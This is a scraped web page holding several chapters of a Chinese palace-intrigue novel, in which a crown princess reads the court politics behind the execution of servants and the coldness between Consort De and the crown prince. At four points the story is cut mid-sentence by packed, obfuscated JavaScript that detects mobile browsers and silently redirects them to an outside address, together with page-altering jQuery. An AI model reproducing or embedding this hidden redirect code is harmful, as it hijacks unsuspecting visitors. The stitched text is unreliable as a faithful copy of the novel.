l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832068|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语调与元嘉说话。 元嘉自然不信,可还是得接着这话继续下去。正要开口,却见悠悠转醒的绿腰猛的扯住燕景祁的衣裳下摆,口中凄厉道;“殿下救命啊!殿下救命!” 燕景祁一时走动不得,垂眼看向绿腰,道:“你要孤救你什么?” “季娘娘想要奴婢们的命啊!” 绿腰见燕景祁因她止步,不由得露出几分希冀,“奴婢们犯了错,见罪于季娘娘,可到底伺候薛娘娘多年。不看僧面看佛面,季娘娘要如何打骂奴婢们都可以,但罪不至死啊!好歹、好歹念着亡人,放奴婢们一条生路,也好继续为薛娘娘尽忠啊!殿下!殿下!” 元嘉从旁瞧着,见燕景祁因这话脸色更差,又从进门起就未对绿腰几人的情状生出一丝疑问,便知这人已经知道前因后果了──想来是府里有谁去报过了。如今瞧着无异,但观其脸色,只怕早已是怒火中烧了。绿腰此话,怕是在火上浇油。 果不其然,绿腰话音刚落,燕景祁便彻底抑制不住自己的表情──竟是从她入府后从未见过的可怖神色。而后脚下狠狠一用力,便将绿腰踹离开来。 “真是好一张巧嘴!怪不得敢和她们做下这等瞒天过海的事情!” 燕景祁连连冷笑,“怎么?你是打量着孤刚刚回府,自以为孤还什么都不知道,所以搬出‘薛娘娘’这三个字,好让孤为了你们几个去驳太子妃的令吗!贱妇!” 元嘉掩在袖下的指尖不自觉颤了一下,更是第一次从男人的口中听到这等恶词,看来这人是真的气狠了……可他气的到底是什么呢? 元嘉不动声色地打量着燕景祁堪称暴怒的表情,须臾又一点点移至绿腰身上。前者被一脚踹开了几步远,只堪堪发出一声痛呼,便蜷着身子再难动弹分毫,更知燕景祁并非是她可以糊弄的对象,连头也不敢抬了。 “孤从前念着你们在先太子妃身边伺候也算尽心,先太子妃逝后又将菡萏馆打理得如生前一般,这才多给了你们两分脸面……好啊,好啊!到头来竟是孤识人不清,看不穿你们这副假象下的恶心嘴脸。” 燕景祁指着绿腰几人,“申时安,捆了她们下去,杖毙!府里的人,不管是宫女还是内侍,一个个的,全部都给孤去前院看着!孤倒要瞧瞧,还有谁敢自作聪明,欺瞒主上……你们这么想做忠仆,那就下去继续服侍先太子妃吧!” 听到这话,绿腰自己存活无望,竟吓得当场昏厥了过去。申时安更是直接指使着人将她们拖了下去,血迹在地面蜿蜒成一条长线,红的刺眼。 元嘉不自觉偏过头,眼睫微颤,旋即又无事般开口:“殿下莫再动气了,气急了,伤的不还是自己的身子吗?” 语调依旧轻柔。 “这群贱妇,险些毁了神妃经年的好名声,若再叫不知情的外人听了,还以为太子府是什么藏污纳垢的地方!” 燕景祁抬手覆上元嘉的手背,语气沉沉,“今日幸亏有你,才叫她们现了原形……只下次再遇上这样的事,直接打死就是,不必去叨扰母后的安宁了。” 这还有什么听不明白的……男人只怕还气这几人没有藏好狐狸尾巴,既要做便该把所有退路想好,省的被发现那日辩驳无能,还得他来料理干净。 元嘉顿了一下,转而应道:“是……妾身份内事罢了。” 燕景祁嗯了一声,拉过元嘉的手便往里屋走去,前者也知趣地闭了嘴,两人前后脚消失在帘后。 29. 再聚首 这夜,燕景祁没有留宿长春馆,陪人用过晚膳后便转而去了倪娉柔的梨云院,反倒叫元嘉松了口气。白日里发生了这些事,她自己尚有许多的惊疑,不必揣摩着男人心意说话,于她实在是再好不过。 只是,一夜难眠。 次日清晨,不等红玉进屋叫起,元嘉自己便先坐起来了。随手裹了件披帛在身上,元嘉有些难耐地揉着额头。近乎整夜不眠,许久不曾犯过的头疼此刻正肆虐得厉害,好不容易缓和了些,元嘉这才唤人进来。 一通梳洗打扮下来,又想着柳安沅两人今日要来,元嘉才总算恢复了些许精神。 “念夏,你去外院守着,若是欧阳将军和柳娘子到了,便将她们引过来。” 元嘉看了眼正无所事事的念夏,出声吩咐道。自她开始用起红珠来,这妮子便愈发懈怠了,全然不觉自己差事被别人顶了是什么坏事,近日更连当值也糊弄起来了。 又见念夏一副磨蹭的模样,便知这妮子虽应了下来,但出了门大抵还会找别人替了她去,遂加重了语气,“她们对府里的人都不熟悉,你亲自去,本宫也宽心些。” “……是。” 念夏这才动作起来,朝元嘉轻轻一福身,方才跨出门去接人。 盼春瞧着前者离开的背影,又回头看了眼元嘉不辨喜怒的表情,默默在心里叹了口气──再这样下去,念夏怕真是留不住多久了。可她该提醒的、该暗示的都做了,再无能为力了…… “敛秋,再去膳房瞧瞧,我要的糕点做好了没?阿沅最爱吃了……盼春?” 耳边传来元嘉呼唤的声音,盼春立刻拾整好情绪,近前听候吩咐,又一一安排人去办。如此又是一阵,方见到念夏领着人回来,嘴里还道:“女君,欧阳将军、柳娘子到了!” 元嘉喜得哎呀一声,笑着上前便将人迎了进来,“可算把你俩等着了,来,快,快坐下!” 红玉立刻着人奉上茶果点心,屋内一时间人来人往,热闹得厉害。又等到各自落座后,元嘉才示意左右侍立的宫女离开,“徐妈妈留下,其他人都出去候着吧。” 众人低声称是,鱼贯而出。 柳安沅自坐下后便不住地打量着元嘉,见前者眉宇间虽有些倦意,气色却颇好,方才暗舒了口气。欧阳沁也收回扫视的目光,两人对视一眼,柳安沅率先开口道:“瞧见你一切都好,我和沁姊姊总算是能够安心了。” 元嘉忍不住弯了眉眼,“我不过是嫁了个人,怎么到你嘴里,竟好似我因此遭了多大的罪过一般。” “皇宫的规矩繁多,又惯是个会磋磨人的地儿,”柳安沅扁着嘴,脱口而出便是不平,“要你嫁给太子,我倒是觉得委屈了……” 竟是连表哥也不喊了。 “你也不看看自己在什么地方,这样的话也敢往外说……好在眼下就咱们几个,也不怕被谁偷听了去。”元嘉无奈摇头,俨然已经习惯,“我嫁给太子,哪里称得上委屈?要说还是我高攀了,就这么坐了太子妃的位置。” “他──” 柳安沅还想说些什么,却被欧阳沁扯了一把,这才不情不愿地闭了嘴,又端过手边的茶盏深饮了一大口。 “我方才所见,这些宫女面对你时都颇为敬畏,屋里院外的种种摆设也不算委屈了你的身份,瞧着是不错。可这好不好的,光看了这些还不算,须得你一个准话才行。” 欧阳沁将话说的更直白。 “……我如今,”元嘉愣了一下,想了想方道,“便算是不错吧?” 却也带着少许的不确定。 柳安沅立刻挑起了眉,一脸被她言中了的表情,“我就说皇宫──” 声量一时未有控制,元嘉连忙把话头截断,自己则解释道:“从前我还在家时,跟着阿娘学读书识字,跟着徐妈妈学针线礼仪,有时也磨着阿爹,偷看他的兵书典籍,便是出了府,也常常有你们相伴,每日过得不知多有意思,也更自在。可如今……” 似乎不知道该怎么形容,元嘉顿了又顿,终是隐而不提,只道:“如今做了这太子妃,不过月余的工夫,竟都要生出一身的懒骨头了。” 闻言,欧阳沁眉心微动,看向元嘉的目光里多了几分深思,柳安沅则全然不解,茫然道:“此话怎讲?” “沁姊姊刚才说府里的宫女对我颇为敬畏,是因为昨日发生了桩事情,太子也好,我也罢,以此敲打了不少人……便算是整治吧。除此以外,我是再没有操心过其他事情的。” 元嘉略去许多不提,只道:“这府里伺候的,全是受了六尚局经年的训教后才挑选出来的,一应行事俱有依据,若不是……便连她们犯了错,也该先送还给掖庭的,哪里需要我管,不过是按月报我一次,得我一个点头罢了。” 说着,又叹了口气,“且你们是知道的,因着愍帝做下的那些事,自武皇帝一朝起,皇子们成年后便要尽数出宫建府,便是太子在宫内素有居所,也不得例外。” “他如今每日宫里宫外的跑着,我却又不好时时入宫,便是想在皇后面前露脸尽孝怕也是难。左不用打理庶务,右不用服侍长辈,可平日里也不好再随意出门,我如今哪,闲得很呢。” 话到此处,元嘉的脸上反而流露出几分怔忪。她本意是为了打断柳安沅的话,却因为想说的不好说,能说的又有许多的不便说,方才改换成如今这个话头。可随着这番话细细一想,她嫁给燕景祁至今,也确实没做过什么,每日大半的工夫都浪费在如何揣测前者的心意上了……虽有警惕,她却还是不自觉围着这个男人打起转来。 这难道就是燕景祁所希望的吗? 元嘉的脸色有些难看,又立刻意识到欧阳沁两人还坐在身边,遂借着吃茶的动作调整好表情,只摆出一副如常的模样。若可以,元嘉并不希望被她们看出什么端倪,也不必让她们为自己的事担忧。 “……也不算全然的坏事,”欧阳沁似乎觉察出了什么,看着元嘉的目光里更多几分担忧,却还是顺着前者的话宽慰道,“你入宫请安,必是要先去清宁宫拜见的,可珠镜殿的那位同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849548|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样是母亲,偏又是个情分寡淡的,你若进宫,是要去见她,还是不去见她?你若这次见了她,下次还要不要见她,见了她又要坐多久,说多久的话,这不都是难题吗!” “谁说不是呢,”元嘉摩挲着杯壁,也乐意继续这个话头往下说,“如今非年非节,我只需按旬进宫就好,也是与宫里大朝见的日子相合,德妃就坐在清宁宫呢,我自是省事许多。” 柳安沅从旁听着,不时唉声叹气一番,“宫里的规矩是真多,见谁都得讲究来讲究去的,我不过偶尔随阿娘去上一两次,便觉得要透不过气了……也亏得你性子稳,不然,光是学规矩就得要去半条命。” “真真是个口无遮拦的,来太子府也堵不住你这张嘴。”元嘉忍不住轻戳了一下柳安沅的额头,须臾又想起些什么,尤带三分迟疑开口,“可我约莫是太闲了,有时又觉得能进宫多见见她们也好,至少不叫我摸着石头过河……” 见二人似有不解,又解释道:“先太子妃是薛家的女儿,更是德妃的亲侄女,太子与她情谊深厚的话,又怎会对自己的生母寡淡情分,连面子上的工夫也懒得维系?这些日子,我有太多的不解,可又不能直接去问太子,府里的宫女们也不可能对这些内闱事知之甚细,便只有自己去猜了,实在是有些交瘁。” 燕景祁希望她万事有因,度也合适,可又从来不会去主动明示什么,一切都只能靠她去揣度,其中若有一星半点的拿捏不准,怕就要成为来日男人口中的不合适了…… 柳安沅听到这话,整个人却突然精神起来,“这个我倒是——” 刚开了个头,便听见盼春的声音在门外响起,道膳房已备好了午膳,送膳的宫女们这会儿就在院子里的空地上候着。元嘉瞧了眼天色,这才惊觉已近午时,连忙止了话头,携着人便往外间而去,一时倒没注意柳安沅的话。 宫女们正井然有序地将菜肴往桌上摆,敛秋却背门而立,好似在与谁说着话。听见身后传来响动,立时收了声,又带着人近前回话—— “女君,良娣娘娘听闻您今日有客到访,特意遣人送了东西过来呢。” 元嘉闻言一瞥,随在敛秋身后的,正是刘婵与倪娉柔身边的大宫女。 “问女君安,”玉兰微微屈膝,“两位良娣知道欧阳将军和柳娘子来了,本想过来彼此见个礼的,又怕叨扰了您与故人说话的兴致,遂命奴婢等带些果酒小菜,聊表心意,午后迟些再过来向您请安。” 元嘉浅浅颔首,“便替本宫谢过两位妹妹了。” 玉兰自是道不敢,又是一行礼,而后识趣地携芝兰离开。 元嘉目送二人离开,回身落座时不经意间往摆盘的宫女中扫了一眼。倒也并无他意,不想其中一人的反应格外剧烈,手一抖,连带着正在摆放的碗碟也被弄得出了声。那人顿时僵在原地,而后伏身请罪。 元嘉被这阵仗搞得愣了一下,又听声音实在耳熟,垂目细看了几眼,而后笑出声来── “是你呀,你今日送来的,可还是甜食?” 30. 欲揣测 地上跪着的,正是在元嘉归宁那日惹出过风波的膳房宫女,今日不知何缘故,竟又被安排来长春馆送膳。 “……女君、女君折煞奴婢了,上次是奴婢做事不谨慎,如今知晓了女君的喜好,自然是紧着女君的口味的。” 那宫女的身子抖得厉害,须臾抬起一张苍白的脸,嘴开了又合,好不容易才找回自己的声音。 这话问的奇怪,也答的奇怪,柳安沅与欧阳沁对视两眼,不约而同地选择了沉默围观。 “行了,地上凉,起来回话吧。” 元嘉看着眼前这个几乎抖若筛糠的宫女,终是咽下了许多的敲打之语,只抬手将人叫起。 前者一时没有反应过来,只茫然顺着元嘉的话站直身子,却在立定的一瞬间不慎踩了裙角,险些又跌坐回去。 柳安沅见状,不知想到了什么,掩嘴笑出声来,“这丫头瞧着傻乎乎的,倒惹人疼……叫什么名字?” “奴婢、奴婢小喜儿……” 却是声若蚊蝇。 “倒是个讨喜名字,”柳安沅笑得更加开怀,“行了,下次小心着些。” “既让柳娘子高兴了,也算是你的功劳一件。”元嘉瞥了眼小喜儿,示意红玉从匣子里摸出几颗碎银粒递过去,“拿着赏下去吧,本宫不必这么多人伺候。” 那小喜儿接过银粒,脸上还有些许错愕残留,似乎没想到元嘉就这样放过她了,甚至还给了赏。怔愣间随着人群后退两步,才后知后觉要向元嘉磕头谢恩,被红玉几个拦了才勉强作罢,又带着满脸的感激退下。 不多时,屋内又只剩下几个近身服侍的人。 “你跟那小宫女打哑谜似的说话,可是她之前错了什么事情,叫你罚了,这才如此惧你?” 欧阳沁瞧了元嘉一眼,又往柳安沅碗里挟了一筷子菜,这才开口。 “是阿,你从来待身边人都极好的,怎么那小喜儿这么怕你?”柳安沅亦是好奇,“不过么……瞧着也不像是个机灵的,是当差时误了事?” 小喜儿的事倒没什么遮瞒的必要,元嘉遂简单提了两句,而后便看到柳安沅下撇的嘴角,和明显不快的表情。 “连太子妃院都没进去呢!”重重搁下筷箸,柳安沅冷哼一声,“就这么想着前头那位吗,怎么不随了她去……我竟还说她的名字讨喜,呸!” “一个膳房的宫女而已,怎么会在那场合给你下绊子……她们可都是在宫里受过训教的。” 欧阳沁却想的更深,当即问道。 “我事后也命人打听过几句,”元嘉见柳安沅不肯动筷,遂舀了碗乌鸡汤递过去,又见前者虽还扁着嘴,到底一口一口的喝了,这才继续道,“那小喜儿一直都是在膳房当差的,但做的都是些苦累事。后来,因手脚麻利,偶然叫先太子妃夸了一句,当时的司馔便做主让她送太子妃院的膳食了。” “照你这个说法,那小喜儿就为了先太子妃的一句夸奖感念到如今,又见你坐了她曾经的位置,心中不忿,所以故意在太子面前提起旧人,也下一下你的脸面?” 柳安沅满脸狐疑,“可哪有把自己漏出去的,也未免太蠢了……” “莫不是受人指使?” 欧阳沁露出几分凝重。 “我也曾这样猜测,可储君所在,哪是这么容易就伸手进来的……” 且近来所见,燕景祁也不会容许这样的事情在他的府邸发生,除非……是他有意默许的。但这件事上,他不可能默许——自己挑中的“合适”人,好坏与否也该由着自己的心意,被个小宫女在大庭广众下说出来,一定要与前人分个高低主次算怎么回事? 但这些话也是不好摆上台面的,元嘉便也只含糊了两句,到底没有细说。 “如此……不需要指使,说两句闲话也足够了。” 欧阳沁沉吟片刻,又提出另一种可能,正与元嘉萦绕心头的猜测相合,当即一点头,“沁姊姊知我,这也是我眼下唯一能想通的。” “什么意思……哎呀,你们又在打什么哑谜啊!” 柳安沅不明所以,茫茫然望了左右两眼,又拧着眉发问,一副不说清道明便绝不罢休的模样。 元嘉与欧阳沁摇头失笑,后者则解释道:“你且站在小喜儿的角度细想想。膳房的活计可不好做,她又是最底下的那拨宫女,定然苦累,却因为先太子妃的一句夸赞,得了个于她而言的好前程,更得以日日在贵人面前露脸,膳房的其他人谁不高看她一眼。” “便是先太子妃病故,可凭着坊间的传闻,那些服侍过先太子妃的人想也多受厚待。”欧阳沁说到此处,余光瞥了眼元嘉,见前者脸色始终如常,这才继续道,“小喜儿只是按日去送膳食,未必能被太子记住,可府里的其他旧仆是什么情况,膳房的人都看在眼里,平日里怕还是会对她多照顾一二。” “一个连女史都不算的小宫女,因先太子妃的一句话得了庇护,在最是辛劳的膳房享了清闲,可哪想这好日子还没过舒坦呢,咱们嘉儿便进了府。”欧阳沁说得缓慢,“许是太子看重嘉儿,叫她害怕了,怕自己的松快日子要到头了,毕竟府里已不再是那位薛娘娘当家……此时再叫谁在她耳边嘟囔几句,也不必特意说给她听,偶尔闲言几句,便足够了。” 柳安沅这会儿也听明白了,旋即又生出新的疑问,“可、那背后之人图什么呢?不仅没使成绊子,反还让嘉儿借此立威于人前了。” “或许……只是试探呢?” 元嘉缓缓道。 这猜测,她曾在归宁那日,在徐妈妈面前提过,如今又一次说与沁、沅二人听,也是怕当局者迷,旁观者清,自己或有什么想左了的地方。 “试你忍是不忍,让是不让。” 欧阳沁轻嗤一声,“成了便知你是个好拿捏的,不成也能叫你在众人面前留下不逊的印象……好在太子也没真遂了他们的心愿。” 一旁的柳安沅却罕见的没搭腔,只埋着头兀自嘟囔着什么,不多时抚掌抬头,“我知道了!他们想试探太子! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871573|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想看看前头那位在太子的心里还占有多少分量……若是能叫你不痛快就更好了。” 此言一出,满室寂静。 元嘉更是与欧阳沁面面相觑,又露出几分明显的怔色。 是阿,她怎么会忽略了这一点。比之她这个还不成气候的太子妃,自然是燕景祁的态度更为重要。她如今,不就为了燕景祁的态度而日夜提心么…… “可这样,便就剩一个人选了。” 欧阳沁捏紧杯盏,从元嘉的眼里望见了与自己一样的答案── 薛德妃。 “若真是这位,许多事情便都能说通了。”元嘉突然放松下来,甚至有闲心让盼春取来倪、刘二人送来的果酒,又自己往杯中一一斟满,“来,尝尝这酒的味道如何。” 柳安沅接过元嘉递来的酒盏,顺手与欧阳沁一碰,浅浅抿了一口,茫色更重,“嘉儿,你怎的突然改了态度……” “若是这一位,我反倒没什么好忧心的了,更想看看她之后还有什么暗招。” 元嘉也舀了碗乌鸡汤,一面用羹勺搅动着,一面露出悠哉惬意之态。 “此话怎讲?” 欧阳沁把玩着手里的空酒盏,似乎也被元嘉的态度所感染,整个人都松弛许多。 “德妃与太子关系疏远,可那位薛娘娘却是自少时便留在她的珠镜殿的,既有姑侄情谊,又蒙受多年照顾,彼此间的感情定然不差……这种情况下,关系疏远的儿子和关系亲近的侄女却还能结为连理,本就不是件寻常事罢?” 嘴角勾起一抹上扬的弧度,元嘉的眼底却不见丝毫笑意,“那日在皇宫,当着我与太子的面,她也曾提到过薛娘娘的名字,还送了一件前者求来的玉如意作为贺礼……薛娘娘没了,太子固然伤心不假,可德妃怕是还要更难受三分。” “到底是多年的情分摆在那里,德妃一时半会儿接受不了你这个占了她侄女位置的人也属常情……可我猜,你大抵不是想说这个罢。”欧阳沁笑了笑,“嘉儿,你是不是觉得,德妃还在谋求着什么其他的东西?” 柳安沅瞪圆了眼睛,“你们、你们这又说到哪里去了……” “分明是太子的生母,却偏与太子毫无情分可言……这倒也无妨,只要有个得看重的薛家人不时在太子身边提上几句,感情再如何也不会生分了去。”元嘉垂下眼睑,“偏偏那薛太子妃福薄,年纪轻轻地就去了。若留下个一儿半女,好歹能再与自家攀上些关系,可……如今我又进了府,难道、还指望着我去帮她们家说话吗?” “小喜儿的事,怕还有示威的意思在里头呢,”欧阳沁重又斟了杯酒,似乎对此颇为喜好,“这是想让你永远越不过她薛家的女儿……可惜到头来未能如愿。” 元嘉看着欧阳沁的动作,“我就是不明白……德妃再如何,也是太子的生身母亲,这两人的关系为何能疏远到上京城人尽皆知的地步?” “我知道!” 柳安沅的眼睛里闪着兴奋,总算逮住了机会开口。 31. 疑更深 见二人同时将目光转向自己,柳安沅的视线有些飘忽,但旋即昂头挺直了背脊,更生怕元嘉两个不信般,又一次强调道:“我真的知道!” “那咱们就洗耳恭听了?” 难得见柳安沅如此雀跃,欧阳沁便也顺着前者的话继续往下,见元嘉亦是含笑模样,便知两人所想大抵无差,遂摆出一副认真倾听的模样,只等着柳安沅开口。 “这可是我从阿娘那里听来的,绝对是真的……” 柳安沅小声嘟囔着,只是声音太过微弱,近如元嘉二人也没有听清。只看着前者歪着脑袋细想了片刻,清了嗓子娓娓道来── “……德妃是光熹四年进的宫,父亲是个七品堂官,可家中往上数三代却连个读书人都没有。那两年,皇室打压世家的势头正盛,恰逢中宫有孕,皇后便在一众新人里拔擢了她。” 这也知道得太细了…… 元嘉拨弄羹勺的动作一顿,余光瞥见欧阳沁亦是停了吃酒,两人皆心照不宣地没有打断。 前者毫无所觉,只继续道:“德妃也很快有了身孕,自此扶摇直上。两个月后,皇后顺利诞下一名皇子,原是普天同庆的喜事,可……不过几日光景,小皇子便夭亡了。” “皇后这一胎本就怀得艰难,生产时又伤了内里,连太医们都说殿下此后难再有孕……偏豁出大半条命才得了的孩子,未及满月便孱弱而故,当时若非熙宁公主日日守着,皇后殿下只怕那时便撑不住了。” 元嘉垂下眼睑,放空般盯着面前的一碟小菜。可如今,娄皇后又得了一个五皇子,连薛德妃所出的燕景祁也养在了自己身边,待之如亲子。 “今上实不忍皇后如此悲痛,遂决定将其他妃嫔的孩子抱至清宁宫抚养,也算是个寄托……” 这倒不是光熹帝的突然之想,而是自前朝起便延续至今的旧例──宫里头有资格抚养自己孩子的嫔妃,只能是二品以上的主位。只因皇后是天下母,才不曾有过直接抚养嫔妃孩子的先例。 “……所以,今上便将太子抱去了清宁宫抚养?” 来不及追问柳安沅是从何处听来的这些密辛,元嘉只接着前者的话发出一声轻问。 不想,柳安沅却摇头了。 “……恰恰相反,是当时还为才人的德妃主动在今上面前提的。”柳安沅大抵也不理解,眼中更是满满的困惑,“说是入宫以来皇后待她极好,如今宫里也只她一个主位下的嫔妃即将生产,说她愿为今上解忧,以腹中骨肉报答天恩。” 若说前半截话时,两人还带着与柳安沅一样的困惑,等到了后半截话,她们便彻底了然了──薛德妃真是个十足的聪明人。只怕是一早看出了光熹帝的打算,知道骨肉分离之事避无可避,遂化被动为主动,既为自己留下了懂事的面目,又可以借此让帝后心中生出少许的愧疚……实在是一箭双雕的好谋划。 只是,这样聪明的一个女人,又怎会与她苦心谋算过的这些人疏远到今日的地步? 元嘉舀着碗里的汤,又挑了几块乌鸡肉吃,几口咽下肚,也一并咽下心中越来越深的困惑。 柳安沅一下子说了许多的话,这会儿也有些口干舌燥。芳菲连忙倒了杯茶递到自家娘子手边,前者接过便一饮而尽,缓了缓又道── “……总之,三皇子、便是如今的太子,就归在了清宁宫抚养,而德妃则在生产后被晋为了美人,又得今上与皇后口谕允准,许她时时出入清宁宫探望孩子。” “如此又过了两年,德妃再一次有了身孕,而后诞下了一对双生子,便是如今的三公主与四皇子。因是个龙凤呈祥的好意头,今上十分的高兴,更直接越过婕妤和九嫔的位分,直接将其晋为了正一品德妃。” “……可、这与她和太子生疏有什么关系呢?”元嘉拧着两弯细眉,面露迟疑之色,“阿沅,我若不曾对薛德妃有过任何猜测,只听你今日的话,大抵会觉得她是个再本事不过的女子,得两子一女傍身不说,还让自己成了皇后位下品阶最高之人……实在是满局好棋。” 欧阳沁也赞同地点了头。 柳安沅这会儿也发现了自己话里的歧义,懊恼般嘟囔了两声,又找补般强调:“我这不是还没说完么……总得先论前因,才好说其后的事情哪!” 又唯恐被二人追问细节,话音刚落便又开口道:“因封了主位,双生子得以养在德妃的宫里,但她却并没有因此与皇后远了关系,反在两个孩子可以蹒跚行走后,一并带着来清宁宫请安,也见一见自己的另一个儿子。” “往来的多了,太子便也与自己的这双弟妹日渐熟悉,虽还是不及与熙宁公主朝夕相处的情谊,到底待之与旁人不一样了。可直到某次,太子失了件、失了件……” 元嘉二人本在凝神倾听,耳边却开始传来柳安沅支吾闪烁的声音,抬头便见前者愁眉苦脸,攒足了劲儿回忆的表情。还来不及询问,便听柳安沅一下子变得含糊不清的话语── “反正就是有什么东西找不着了,又被德妃给送回来了,好像、好像还与这对双生子有关……总之就是,他们之间的来往变少了,加之太子将满十岁,按例不得再居于后宫,皇后遂命其搬进了少阳宫。” 听到“少阳宫”三个字,元嘉的眉心微动。燕景祁竟这么早便被属意为太子了么……什么明面上的旨意都没有,甚至连自己都还只是个半大的少年郎,就这样堂而皇之地住进了非太子不能居的少阳宫。若她是德妃,绝不会让任何人任何事成为横在自己与来日储君身边的绊脚石。 “德妃出不得后宫,四皇子当时也未及十岁,此举倒是断了太子与他们之间的联系。母子间的情分,兄弟姊妹间的情分……之前积攒的种种,顷刻间都化为了泡影。” 欧阳沁轻啧一声,表情却没有多大的改变,似乎已经司空见惯了一般。 “……可还有个薛神妃呢!” 柳安沅这会儿又顺畅起来,再度喝下满杯的茶水后,整个人愈发的精神起来,“太子搬进少阳宫,只是和他们远了往来,薛神妃的出现才是叫他们彻底失了情分的。” 柳安沅接下来的话,与徐妈妈早前说与元嘉的大抵无差,只是于细枝末节的地方更详尽了些。 当时,五公主要选伴读,薛德妃便命自家兄弟将薛家此代所有的女郎都送进了宫,之后选了一个常居宫闱,便是薛神妃。 无他,薛神妃实在太过出挑,才学品貌更是无一不佳,小小年纪便在京中有了美名。进宫以后,薛神妃白日陪着五公主习字念书,晚上便跟着女官学习宫中仪礼。几个月下来,便是宫里最严苛的女官,也指不出薛神妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888420|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝一毫的差错,便连皇后也有所耳闻,召去清宁宫细看了一番。 “……可,我听说她还与太子有青梅竹马之谊,”元嘉看向徐妈妈,见前者点头,又道,“若依此论,他二人总不能是在清宁宫见的面罢?” 闻言,柳安沅的表情有一瞬间的凝滞,一张俏脸皱得死紧,好一会儿才带着雀跃开口:“我记起来了!也是皇后允的!说是薛神妃某次往清宁宫请安,与皇后好一通陈情,又提及自家姑母在珠镜殿垂泪难过的情景。那之后皇后便松了口,允了薛神妃代为往少阳宫送衣物吃食的事情,也才和太子遇上的!” “可我听你方才的话,皇后大抵是为了某事,觉得德妃对太子有所图,所以才借皇子满岁搬离后宫的由头,将他们远了开来……如此,又何必同意薛太子妃于少阳宫行走呢?” 欧阳沁又提出一个疑问。 “因为薛神妃从不逾礼,”柳安沅嘟囔着,“每每遵德妃的吩咐去送东西,都挑在同一个时候,也不管太子是否在少阳宫,只交给了当值的宫人便离开,从不多留,也不打听太子的事情。便是第一次和太子遇见,也是因为前者某次提前下学,这才撞上……实在难说有什么故意之举。” 不知为何,元嘉因这话突然想起了挂在菡萏馆的薛神妃着太子妃朝服的画像,心中莫名泛起涟漪。与欧阳沁对视一眼,干脆越过这桩事不提,只绕回一开始的问题,道:“薛娘娘既被册为了太子妃,总归是如了德妃的意的,又缘何变成今日这情境?” 柳安沅眉头不展,似乎在思考着什么,而后表情讪讪,“好似是与薛神妃一起,在某次宴会上听见德妃同身边人说了什么,太子当场拂袖而去,薛神妃也和德妃争执了一番,不久后搬出了珠镜殿,又住进了伴读所在的琼蕊小榭。” “册为太子妃以后,薛神妃才在自家人的说合下,慢慢缓了态度,偶尔也回一趟珠镜殿。至于太子,也因为和薛家这层断不开的关系,重新和德妃、一双弟妹有了来往。可谁知才几年光景,薛神妃就病逝了,太子便又和珠镜殿不冷不热起来。” 柳安沅说完这一大段话,长吁了一口气,像是解决了什么大事般,迫不及待地吃了满杯的果酒,却不慎在衣裙上留下几滴酒渍。 元嘉眸光微闪,立刻唤人道:“芳菲,快带你家娘子去我屋里寻件衣裳替换……盼春,你去带路。” 柳安沅摆着手,本想说不妨事,又听欧阳沁一旁接口:“你就去换了吧,若是滴在不显眼的地方也就罢了,偏你这已经弄在前襟了,出去叫人见了,像什么话?侍剑,你跟着一起去,替我看着这妮子,别叫她糊弄过去!” 柳安沅见两人一唱一和,一时又想不出话反驳,只好起身进屋,临了又忙慌慌道:“我用不着这么多人,她们都跟我进去了,你们这儿不就空了!” “就是让她们去守着你的,”欧阳沁浅浅一笑,“挑件好看的衣裳,我同嘉儿在这里自斟自饮,等着你回来便是。” “我二人有手有脚,又是在我自己的院子,你还怕我会怠慢了沁姊姊不成?” 元嘉亦道。 柳安沅一听,面上虽还带着几分困惑,到底是跟着进了里屋。 待前者身影完全消失在帘后,元嘉这才与欧阳沁两相对望,不约而同地轻叹口气。 32. 借她口 “……你也看出来了?” 欧阳沁嘴唇翕动,声音轻得好似一阵风刮过便能消散。 元嘉点了点头,同样小声道:“阿沅才多大年纪,这些宫闱秘辛哪是她轻易就能知道的,饶是道听途说,也未免太过仔细了……只怕是有谁故意说给她听的,又希望她能在我问起时,全部说给我听。” “是啊,阿沅是个藏不住事的,喜怒又形于色,若一早便知道这些,只怕圣旨下来时便要说与你听了,又何必等到今日。”欧阳沁余光一直观察着里屋的动静,缓了缓又道,“可大抵也不是被谁当面交代的,否则也不会停停续续,有些还记得,有些却想不起来了。” 元嘉想了想,故意咳了一声,见里屋没有反应,又向上抬了声调,不多时听见柳安沅关切的询问── “嘉儿?你怎么了!” 